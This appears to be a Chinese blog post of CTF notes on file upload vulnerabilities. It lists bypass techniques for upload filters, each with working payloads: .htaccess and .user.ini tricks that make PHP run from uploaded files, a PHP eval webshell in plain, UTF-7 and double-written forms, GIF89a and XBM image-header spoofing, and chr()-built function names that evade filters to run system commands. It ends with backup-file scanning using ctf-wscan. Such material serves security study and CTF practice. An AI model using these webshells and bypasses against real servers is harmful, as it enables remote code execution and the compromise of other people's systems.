zoey

谷歌浏览器可正常显示图片

0%

文件上传漏洞

文件上传漏洞原因

一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码。

通常造成文件上传漏洞的原因是对于上传文件的后缀名(扩展名),类型,以及内容没有做好严格的限制等等一些原因。

本地文件上传

本地文件上传只有当选择的php版本不带有nts才能成功执行。

当成功执行phpinfo()后,可以用蚁剑连接,可获得后台的内容。

文件上传漏洞的绕过方法

htaccess任意文件执行

可以将后缀名不是为php的文件改为后缀名为php的文件。

1
2
AddType application/x-httpd-php .aaa   //将后缀名为aaa的文件均改为后缀名为php文件
AddType application/x-httpd-php .jpg //将后缀名为jpg的文件均改为后缀名为php文件

上传.htaccess文件时候发现文件内容被过滤。可以使用换行绕过的方法绕过过滤。

1
2
AddType appli\
cation/x-httpd-php .aaa

需要在换行的地方加上一个(反斜杠)

短标签绕过

  • JS风格
1
<script language="php">phpinfo();</script>
  • 短标签风格
1
<?=phpinfo();?>
  • <?=?><?php echo ....?>等效
  • ASP风格
1
<% phpinfo();%>
  • 官方默认风格
1
<?php phpinfo(); ?>

特殊编码绕过

如果程序过滤了所有标签形式、或者说过滤了<?而且PHP是在PHP7以上版本(PHP7已经将其他标签形式过淘汰,仅剩下<?php形式),这时候我们可以用utf-7编码一句话木马,并通过.htaccess文件解码。

.htaccess

1
2
3
4
AddType application/x-httpd-php .aaa
php_flag display_errors on
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7" // 对文件后缀名为aaa的文件内容进行UTF-7解码
  • 1.aaa
1
2
+ADw?php +AEA-eval(+ACQAXw-POST+AFs'cmd'+AF0)+ADs?+AD4-
// <?php eval($_POST['cmd']);?>

双写绕过

假如对上传文件的内容中的php,POST,eval替换为空,那么我们可以用这样的方式绕过

1
2
<?pphphp
@eevalval($_PPOSTOST['cmd']);

.user.ini绕过

.htaccess是伪静态环境配置文件,用于lamp。
.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取.
配置 放在根目录 .user.ini

  • 如果上传目录下有一个php文件,可以使用.user.ini将我们制定文件包含到我们目录下的所有PHP文件导致远程代码执行
  • .user.ini
1
auto_prepend_file=1.aaa

1.aaa

1
2
<?php 
@eval($_POST['cmd']);

在加载其他文件的时候,会先加载.user.ini里面的1.aaa

当.htaccess被禁止上传时,可以使用.htaccess代替.user.ini

文件包含解码Base64

  • .htaccess
1
2
AddType application/x-httpd-php .aaa
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.aaa"

图片头绕过

XMB文件头绕过

1
2
#define test_width 16
#define test_height 7

放在php文件的开头,让getimagesize函数误以为上传的是图片文件

1
2
3
4
5
#define test_width 16
#define test_height 7
<?php
eval($_POST['cmd']);
?>

GIF89a

1
GIF89a

也是放在php文件的开头,来绕过getimagesize函数。

动态拼接函数绕过函数过滤

当源程序对危险函数进行了过滤,可以使用aiisc码拼接动态构造函数来绕过。

1
2
3
4
<?php
$a = chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111);
$a();
?>
  • 使用如下代码快速生成指定函数
1
2
3
4
5
6
<?php
$a = "phpinfo";
for($i=0;$i<strlen($a);$i++){
echo "chr(".ord($a[$i]).").";
}
?>

由于php不允许eval动态拼接,所以我们不能拼接一句话木马。

但我们可以构造system函数来执行系统命令获得flag。

1
2
3
4
<?php
$a=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$a(cat/flag);
?>

使用ctf-wscan查看是否存在备份文件

ctf-wscan下载地址

https://codeload.github.com/kingkaki/ctf-wscan/zip/master

安装python3的环境

(ctf-wscan只能在python3环境下使用)

1,下载地址

https://www.python.org/ftp/python/3.8.3/python-3.8.3-amd64.exe

2,安装

安装之后的界面

如果安装之后的界面是这样,则没有点击创建文档文件。

下载requests请求插件

1,下载requests插件需要在python3的Scripts文件下下载

输入命令

1
pip install requests

提示命令加上–user 和更新pip

2,根据提示,输入 python -m pip install –upgrade pip,依然显示错误

3,输入

1
python -m pip install -upgrade pip -i http://pypi.douban.com/simple --user

成功更新。

4,下载requests插件成功

1
pip install requests --user

使用ctf-wsacn扫描文件

输入

1
python ctf-wscan.py 网址

例,可以看出存在index.php.py备份文件。

下载备份文件

  • .index.php.swp放到linux下使用vim -r恢复
1
vim -r index.php.swp
  • 得到源码